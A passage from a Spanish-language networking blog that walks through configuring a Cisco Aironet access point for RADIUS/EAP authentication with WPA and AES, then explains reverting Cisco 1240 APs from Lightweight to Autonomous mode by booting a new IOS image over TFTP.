3) Definir un grupo de servidores Radius:
ap(config) # aaa group server radius mis-radius
utilizaremos este grupo para configurar la autenticación.

3.1) Agregar el/los servidor/es que realizará/n la autenticación (paso 1) al grupo recién creado:
ap(config-sg-radius) # server 192.168.1.111 auth-port 1645 acct-port 1646
4) Crear el método de autenticación eap_auth y agregar el grupo de servidores Radius:
ap(config)# aaa authentication login eap_auth group mis-radius
con esto ya tenemos configurado un método de autenticación que luego asignaremos al SSID.

5) Configurar un SSID para el AP (es posible tener múltiples SSID). En el ejemplo lo llamaremos AP_Wireless (si, muy original...):
ap(config)# dot11 ssid AP_Wireless
5.1) Utilizar autenticación open eap (Extensible Authentication Protocol) con el servidor Radius del grupo de servidores mis-radius (ver pasos 1 - 3):
ap(config-ssid)# authentication open eap eap_auth
Existen varios tipos de autenticación y Cisco permite una buena variedad. EAP nos permite que la autenticación la realice un servidor externo, y no el mismo AP.
Que la autenticación sea open no quiere decir que los datos viajen planos, sino que esta es la forma en que Cisco define el tipo de autenticación que no utilizan protocolos Cisco (LEAP).

5.2) Realizar la administración de claves con WPA:
ap(config-ssid)# authentication key-management wpa
5.3) Utilizar el modo guest para que la antena haga broadcast del SSID. Si no desean divulgar el SSID, saltear este paso:
ap(config-ssid)# guest-mode
5.4) Setear el intervalo entre beacons DTIM. Estos beacons se envían a los clientes para que despierten y checkeen si tienen paquetes pendientes. Intervalos DTIM largos permiten preservar energía.
ap(config-ssid)# mbssid guest-mode dtim-period 75
6) Configurar la interfaz wireless para que autentique clientes utilizando Radius y WPA:
ap(config)# interface Dot11Radio0
6.1) Definir el algoritmo de encripción (AES):
ap(config-if)# encryption mode ciphers aes-ccm
6.2) Asociar el SSID a la intefaz:
ap(config-if) # ssid AP_Wireless
Con los pasos anteriores el AP ya está configurado y listo. Si no poseen un servidor DHCP en la red, o bien si quieren fijar una dirección IP al AP, pueden hacerlo de la siguiente forma:
1) Acceder a la interfaz virtual BVI 1 (Bridge-Group Virtual Interface):
ap(config)# interface BVI 1
esta interfaz virtual agrupa todas las interfaces que estén en el grupo bridge 1.

2) Configurar la dirección IP y la máscara:
ap(config-if)# ip address 192.168.1.80 255.255.255.0
3) Definir el gateway:
ap(config)# ip default-gateway 192.168.1.1

Algo a tener en cuenta es que por defecto tanto la interfaz wireless como la fast ethernet están en el grupo bridge 1, pero si no lo están, pueden configurarlo de la siguiente forma:
ap(config)# interface FastEthernet 0
ap(config-if)# bridge-group 1
ap(config-if)# exit
ap(config)# interface Dot11Radio0
ap(config-if)# bridge-group 1


Referencias

- Cisco IOS Software Configuration Guide for Cisco Aironet Access Points
- EAP Authentication with RADIUS Server
- Autonomous APs: Network EAP vs. Open with EAP, the right combination
- Cisco 802.11 Wireless Networking: Installing and Configuring Access Points
- Configuring Cisco Aironet in Home Lab - Part 2
- Configuring WPA and WPA2 on Cisco Aironet
Revertir Lightweight (LWAPP) Mode a Autonomous Mode para configurar APs Cisco
Una vez más me toca enfrentar un reto Cisco, en esta ocasión con los access point (AP) Wireless de la serie 1240. Cuál es el reto? hacerlos funcionar!!!
Si, hacer funcionar uno de estos dispositivos no resultó ser tan simple como "leer el manual -> enchufarlo -> configurarlo", nono, porque el manual no explica un pequeño detalle extremadamente importante: los dispositivos traen un IOS pensado para recibir la configuración a través de Wireless LAN Controllers (otros dispositivos Cisco $$$, pensados para controlar centralizadamente todos los APs de la red).
Qué quiere decir esto? que no podemos configurar los condenados APs si no contamos con un Wireless LAN Controller (WLC)!!! Es una pena que los manuales de estos bichos no expliquen ésto y te hagan perder tiempo haciendo pruebas inútiles. Todos dicen lo mismo y no te aclaran que el f*cking aparato puede estar en modo Lightweight. El resultado es que como no tenemos un WLC y el AP está en modo Lightweight, no tenemos configuración Web, es más, ni siquiera contamos con el modo de configuración desde consola! Nunca imaginé encontrar un "command not found" al ejecutar "configure terminal" en un IOS...

En fin, después de perder un día leyendo información, encontré el problema que les comento. Ahora, cómo volvemos al modo autónomo para que podamos configurarlo sin tener un WLC? Creo que la respuesta salta a la vista: instalar otro IOS. Pero cómo instalamos otro IOS si el IOS actual ni siquiera posee comandos básicos como copy? Booteando una imagen por TFTP.

Los siguientes pasos están basados en los que encontré en la sección Reverting from LWAPP Mode to Autonomous Mode y permiten instalar una nueva imagen (que posea modo autónomo) en un AP Cisco:

1- Montar un servidor TFTP en la máquina que utilizaremos para configurar el AP. Pueden encontrar los pasos de cómo hacer esto en el artículo Server TFTP + Actualización IOS.
2- Dar al servidor TFTP una IP del rango 10.0.0.2 a 10.0.0.30. El AP se autoconfigura con la IP 10.0.0.1.
3- Copiar la nueva imagen del IOS a la carpeta del servidor TFPT y renombrar dicha imagen a c1200-k9w7-tar.default para APs de la serie 1200, c1240-k9w7-tar.default para la serie 1240, etc.
4- Enchufar un cable UTP desde el AP a la placa de red de la máquina con el servidor TFTP.
5- Apretar y mantener apretado el botón MODE mientras se enchufa el AP.
6- Mantener apretado el botón MODE hasta que la LED de estado se pone en rojo (o lila en los 1240; esto sucede luego de 20 o 30 segundos). En la consola aparecerá el cartel "button is pressed, wait for button to be released...".
7- Esperar hasta que se termine de copiar la nueva imagen en la flash del AP.
8- Reiniciar y ejecutar "show version" para comprobar que la imagen es la correcta.

Como se darán cuenta, una vez que booteamos desde la imagen por TFTP, esta imagen se copia en la flash y reemplaza la que tenia antes.

Una vez que contamos con la imagen en modo autónomo, podemos configurar el AP de la siguiente forma:
- Enchufar el AP a una red que cuente con DHCP para que el dispositivo tome IP.
- Elegir alguna de las siguientes opciones de configuración:
Opción 1 (Web):
- Acceder a la interfaz Web de configuración del dispositivo y loguearse con las credenciales Cisco/Cisco. La dirección de la interfaz web será la que les entregó el DHCP.

Opción 2 (consola):
- Configurar el dispositivo conectándose a la consola a través de un cable serie, utilizando una terminal virtual con la configuración "8 bits, paridad none, 1 bit de parada, y sin control de flujo" (pueden utilizar minicom, como explico en este otro artículo - http://itfreekzone.blogspot.com/2010/09/acceder-dispositivos-cisco-desde.html), y ejecutar:
ap> enable # el password es Cisco
ap # configure terminal
NOTA: si no poseen servidor DHCP en la red, pueden clavarle una IP al AP a través de la consola. Para ello, conectense utilizando la configuración que expliqué en el punto anterior y ejecutar:
ap> enable # el password es Cisco
ap # configure terminal
ap(config) # interface FastEthernet 0
ap(config-if) # ip address <ip> <mascara>
Una vez que el dispositivo cuenta con IP, pueden acceder a la interfaz web.

Como siempre, espero que este artículo les ayude a ahorrar tiempo y entender rápidamente cómo configurar esta clase de dispositivos!